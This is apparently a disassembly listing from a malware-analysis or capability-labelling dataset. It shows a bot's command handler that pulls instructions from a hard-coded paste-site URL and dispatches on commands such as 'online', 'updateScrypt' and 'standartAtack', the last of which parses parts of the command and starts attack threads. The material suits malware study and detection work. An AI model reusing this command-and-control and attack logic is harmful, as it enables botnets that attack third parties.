Function at 0x4031a0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bb75f
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x4e83c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1b
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
push str.https:__rentry.co_cco7o_raw
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xb8], 0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
call fcn.00407000
lea edx, [ebp - 0xcc]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00402a30
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
je 0x403b6e
mov edx, str.Command:
mov ecx, 0x4e9530
call fcn.00406610
push eax
call fcn.004068b0
cmp dword [ebp - 0x18], 0x10
lea edx, [ebp - 0x2c]
push dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
mov ecx, 0x4e9530
call fcn.00407ef0
push eax
call fcn.004068b0
mov edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x2c]
add esp, 0xc
cmp dword [ebp - 0x18], 0x10
cmovae esi, dword [ebp - 0x2c]
setae byte [ebp - 0xd1]
test edi, edi
je 0x40328d
push edi
push 0x3a
push esi
call fcn.00464de0
add esp, 0xc
test eax, eax
je 0x40328d
sub eax, esi
jmp 0x403290
or eax, 0xffffffff
mov dword [ebp - 0xd0], eax
cmp eax, 0xffffffff
je 0x403b67
cmp edi, eax
mov dword [ebp - 0x4c], 0
mov ecx, eax
mov dword [ebp - 0x38], 0
cmovb ecx, edi
mov dword [ebp - 0x34], 0
cmp byte [ebp - 0xd1], 0
lea eax, [ebp - 0x2c]
push ecx
cmovne eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x48], xmm0
call fcn.00407000
mov byte [ebp - 4], 2
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4eab1c]
cmp eax, dword [ecx + 4]
jle 0x403388
push 0x4eab1c
call fcn.00462170
add esp, 4
cmp dword [0x4eab1c], 0xffffffff
jne 0x403388
mov byte [ebp - 4], 3
xorps xmm0, xmm0
push 8
mov dword [0x4eaaf4], 0
movups xmmword [0x4eaaf8], xmm0
mov dword [0x4eab08], 0
mov dword [0x4eab0c], 0
call fcn.00462230
push 0x4bc390
mov byte [ebp - 4], 2
mov dword [eax + 4], 0
mov dword [0x4eaaf4], eax
mov dword [eax], 0x4eaaf4
mov dword [0x4eab08], 0
mov dword [0x4eab0c], 0xf
mov byte [0x4eaaf8], 0
call fcn.00462720
push 0x4eab1c
call fcn.00462120
add esp, 0xc
cmp dword [0x4eab0c], 0x10
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov ecx, 0x4eaaf8
cmovae ecx, dword [0x4eaaf8]
cmp dword [ebp - 0x34], 0x10
mov esi, dword [ebp - 0x38]
setae byte [ebp - 0xd1]
cmovae edx, eax
cmp esi, dword [0x4eab08]
jne 0x403418
mov edi, esi
sub edi, 4
jb 0x4033d2
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4033d7
add edx, 4
add ecx, 4
sub edi, 4
jae 0x4033c1
cmp edi, 0xfffffffc
je 0x40340b
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x403404
cmp edi, 0xfffffffd
je 0x40340b
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x403404
cmp edi, 0xfffffffe
je 0x40340b
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x403404
cmp edi, 0xffffffff
je 0x40340b
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x40340b
sbb eax, eax
or eax, 1
jmp 0x40340d
xor eax, eax
test eax, eax
je 0x403b48
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp - 0xd1]
lea ecx, [ebp - 0x48]
test dl, dl
cmovne ecx, eax
cmp esi, 6
jne 0x40355b
mov edi, esi
mov edx, str.online
sub edi, 4
jb 0x403451
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x403456
add ecx, 4
add edx, 4
sub edi, 4
jae 0x403440
cmp edi, 0xfffffffc
je 0x40348a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403483
cmp edi, 0xfffffffd
je 0x40348a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403483
cmp edi, 0xfffffffe
je 0x40348a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403483
cmp edi, 0xffffffff
je 0x40348a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40348a
sbb eax, eax
or eax, 1
jmp 0x40348c
xor eax, eax
test eax, eax
jne 0x403552
mov edx, dword [ebp - 0xd0]
xorps xmm0, xmm0
inc edx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x1c]
movups xmmword [ebp - 0x6c], xmm0
cmp eax, edx
jb 0x403be4
sub eax, edx
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push ecx
add eax, edx
lea ecx, [ebp - 0x70]
push eax
call fcn.00407000
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x94]
call fcn.00402a30
mov edx, str.Online_hit_made
mov byte [ebp - 4], 5
mov ecx, 0x4e9530
call fcn.00406610
push eax
call fcn.004068b0
add esp, 4
lea ecx, [ebp - 0x94]
call fcn.00405230
mov eax, dword [ebp - 0x94]
push 8
push eax
mov dword [ebp - 0x94], 0
call fcn.00462100
add esp, 8
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.00405230
mov eax, dword [ebp - 0x70]
push 8
push eax
mov dword [ebp - 0x70], 0
call fcn.00462100
add esp, 8
jmp 0x403b33
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp - 0xd1]
test dl, dl
lea ecx, [ebp - 0x48]
cmovne ecx, eax
cmp esi, 0xc
jne 0x403628
mov edi, esi
mov edx, str.updateScrypt
sub edi, 4
jb 0x403589
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40358e
add ecx, 4
add edx, 4
sub edi, 4
jae 0x403578
cmp edi, 0xfffffffc
je 0x4035c2
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4035bb
cmp edi, 0xfffffffd
je 0x4035c2
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4035bb
cmp edi, 0xfffffffe
je 0x4035c2
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4035bb
cmp edi, 0xffffffff
je 0x4035c2
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4035c2
sbb eax, eax
or eax, 1
jmp 0x4035c4
xor eax, eax
test eax, eax
jne 0x40361f
mov esi, dword [ebp - 0xd0]
sub esp, 0x1c
mov edx, esp
xorps xmm0, xmm0
mov dword [ebp - 0x14], edx
inc esi
mov dword [edx], eax
movups xmmword [edx + 4], xmm0
mov dword [edx + 0x14], eax
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x1c]
cmp eax, esi
jb 0x403be9
sub eax, esi
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push ecx
add eax, esi
mov ecx, edx
push eax
call fcn.00407000
call fcn.00402b70
add esp, 0x1c
jmp 0x403b33
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp - 0xd1]
test dl, dl
lea ecx, [ebp - 0x48]
cmovne ecx, eax
cmp esi, 0xd
jne 0x403a35
mov edi, esi
mov edx, str.standartAtack
sub edi, 4
jb 0x403656
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40365b
add ecx, 4
add edx, 4
sub edi, 4
jae 0x403645
cmp edi, 0xfffffffc
je 0x40368f
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403688
cmp edi, 0xfffffffd
je 0x40368f
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403688
cmp edi, 0xfffffffe
je 0x40368f
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403688
cmp edi, 0xffffffff
je 0x40368f
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40368f
sbb eax, eax
or eax, 1
jmp 0x403691
xor eax, eax
test eax, eax
jne 0x403a32
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x2c]
setae byte [ebp - 0xd1]
mov dword [ebp - 0xd0], ecx
test eax, eax
je 0x4036d2
push eax
push 0x3a
push ecx
call fcn.00464de0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4036d2
sub edi, dword [ebp - 0xd0]
jmp 0x4036d5
or edi, 0xffffffff
cmp edi, 0xffffffff
je 0x403b36
cmp dword [ebp - 0x1c], edi
lea eax, [ebp - 0x2c]
mov ecx, edi
mov dword [ebp - 0x70], 0
cmovb ecx, dword [ebp - 0x1c]
xorps xmm0, xmm0
cmp byte [ebp - 0xd1], 0
push ecx
cmovne eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x70]
push eax
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
call fcn.00407000
mov byte [ebp - 4], 6
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
lea ecx, [edi + 1]
mov eax, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
setae byte [ebp - 0xd1]
mov dword [ebp - 0xd0], edx
cmp ecx, eax
jae 0x403760
sub eax, ecx
push eax
lea eax, [edx + ecx]
push 0x3a
push eax
call fcn.00464de0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x403760
sub esi, dword [ebp - 0xd0]
jmp 0x403763
or esi, 0xffffffff
cmp esi, 0xffffffff
je 0x40352c
mov eax, dword [ebp - 0x1c]
lea edx, [edi + 1]
mov dword [ebp - 0x94], 0
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
movups xmmword [ebp - 0x90], xmm0
cmp eax, edx
jb 0x403be4
sub eax, edx
mov ecx, esi
sub ecx, edi
dec ecx
cmp eax, ecx
cmovb ecx, eax
cmp byte [ebp - 0xd1], 0
lea eax, [ebp - 0x2c]
cmovne eax, dword [ebp - 0x2c]
push ecx
add eax, edx
lea ecx, [ebp - 0x94]
push eax
call fcn.00407000
mov byte [ebp - 4], 7
inc esi
mov eax, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
movups xmmword [ebp - 0xac], xmm0
cmp eax, esi
jb 0x403be4
sub eax, esi
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push ecx
add eax, esi
lea ecx, [ebp - 0xb0]
push eax
call fcn.00407000
mov byte [ebp - 4], 8
call fcn.0047bb80
cmp dword [ebp - 0x98], 0x10
lea esi, [ebp - 0xac]
mov edi, eax
lea eax, [ebp - 0xd0]
cmovae esi, dword [ebp - 0xac]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0047cd20
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp esi, dword [ebp - 0xd0]
je 0x403bee
cmp dword [edi], 0x22
je 0x403bf8
mov edx, str.Part_1:
mov ecx, 0x4e9530
call fcn.00406610
cmp dword [ebp - 0x58], 0x10
lea edx, [ebp - 0x6c]
push dword [ebp - 0x5c]
cmovae edx, dword [ebp - 0x6c]
mov ecx, eax
call fcn.00407ef0
push eax
call fcn.004068b0
mov edx, str.Part_2:
mov ecx, 0x4e9530
call fcn.00406610
cmp dword [ebp - 0x7c], 0x10
lea edx, [ebp - 0x90]
push dword [ebp - 0x80]
cmovae edx, dword [ebp - 0x90]
mov ecx, eax
call fcn.00407ef0
push eax
call fcn.004068b0
mov edi, dword [ebp - 0x14]
add esp, 0x10
mov edx, str.Part_3__as_int_:
mov ecx, 0x4e9530
push edi
call fcn.00406610
mov ecx, eax
call fcn.00404100
push eax
call fcn.004068b0
push 0x24
call fcn.00462230
mov esi, eax
add esp, 8
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 9
lea ecx, [esi + 4]
mov dword [esi], edi
push eax
mov dword [ebp - 0xd0], ecx
call fcn.00404560
mov dword [esi + 0x20], 0x403080
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0xa
push eax
push 0
push esi
push 0x408220
push 0
push 0
call fcn.0046ab90
add esp, 0x18
mov dword [ebp - 0x54], eax
test eax, eax
je 0x403c1c
push 0x24
mov byte [ebp - 4], 0xb
call fcn.00462230
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 0xc
lea ecx, [esi + 4]
mov dword [esi], edi
push eax
mov dword [ebp - 0xd0], ecx
call fcn.00404560
mov dword [esi + 0x20], 0x403080
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0xd
push eax
push 0
push esi
push 0x408220
push 0
push 0
call fcn.0046ab90
add esp, 0x18
mov dword [ebp - 0x78], eax
test eax, eax
je 0x403c0e
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x403c07
push eax
push dword [ebp - 0x54]
call fcn.004612b0
add esp, 8
test eax, eax
jne 0x403c07
mov eax, dword [ebp - 0x74]
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
test eax, eax
je 0x403c07
push eax
push dword [ebp - 0x78]
call fcn.004612b0
add esp, 8
test eax, eax
jne 0x403c07
xorps xmm0, xmm0
mov byte [ebp - 4], 8
movlpd qword [ebp - 0x78], xmm0
cmp dword [ebp - 0x50], eax
jne 0x403c02
lea ecx, [ebp - 0xb0]
call fcn.00405230
mov eax, dword [ebp - 0xb0]
push 8
push eax
mov dword [ebp - 0xb0], 0
call fcn.00462100
add esp, 8
jmp 0x403506
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, eax
cmp esi, 4
jne 0x403aaf
mov edi, esi
mov edx, str.none
sub edi, esi
jb 0x403a61
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x403a66
add ecx, 4
add edx, 4
sub edi, 4
jae 0x403a50
cmp edi, 0xfffffffc
je 0x403a9a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403a93
cmp edi, 0xfffffffd
je 0x403a9a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403a93
cmp edi, 0xfffffffe
je 0x403a9a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403a93
cmp edi, 0xffffffff
je 0x403a9a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x403a9a
sbb eax, eax
or eax, 1
jmp 0x403a9c
xor eax, eax
test eax, eax
jne 0x403aac
mov edx, str.none
mov ecx, 0x4e9530
jmp 0x403b25
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, eax
cmp esi, 4
jne 0x403b1b
mov edx, str.exit
sub esi, esi
jb 0x403ad8
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x403add
add ecx, 4
add edx, 4
sub esi, 4
jae 0x403ac7
cmp esi, 0xfffffffc
je 0x403b11
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403b0a
cmp esi, 0xfffffffd
je 0x403b11
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403b0a
cmp esi, 0xfffffffe
je 0x403b11
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403b0a
cmp esi, 0xffffffff
je 0x403b11
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x403b11
sbb eax, eax
or eax, 1
jmp 0x403b13
xor eax, eax
test eax, eax
je 0x403c2a
mov edx, str.Unknown_command
mov ecx, 0x4e9628
call fcn.00406610
push eax
call fcn.004068b0
add esp, 4
mov esi, dword [ebp - 0x38]
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
push esi
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.00405300
lea ecx, [ebp - 0x4c]
call fcn.00405230
mov eax, dword [ebp - 0x4c]
push 8
push eax
mov dword [ebp - 0x4c], 0
call fcn.00462100
add esp, 8
jmp 0x403b86
mov edx, str.Invalid_command_format
jmp 0x403b73
mov edx, str.Error_getting_command
mov ecx, 0x4e9628
call fcn.00406610
push eax
call fcn.004068b0
add esp, 4
lea ecx, [ebp - 0x30]
call fcn.00405230
mov eax, dword [ebp - 0x30]
push 8
push eax
mov dword [ebp - 0x30], 0
call fcn.00462100
add esp, 8
lea ecx, [ebp - 0xcc]
call fcn.00405230
mov eax, dword [ebp - 0xcc]
push 8
push eax
mov dword [ebp - 0xcc], 0
call fcn.00462100
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004620f0
mov esp, ebp
pop ebp
ret
call fcn.00406460
call fcn.00406460
push str.invalid_stoi_argument
call fcn.0045d950
push str.stoi_argument_out_of_range
call fcn.0045d9b0
call fcn.0047b0e0
push 1
call fcn.0045d5f0
push 6
mov dword [ebp - 0x74], 0
call fcn.0045d5f0
push 6
mov dword [ebp - 0x50], 0
call fcn.0045d5f0
push ecx
call fcn.00403f50
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00468ba0
int3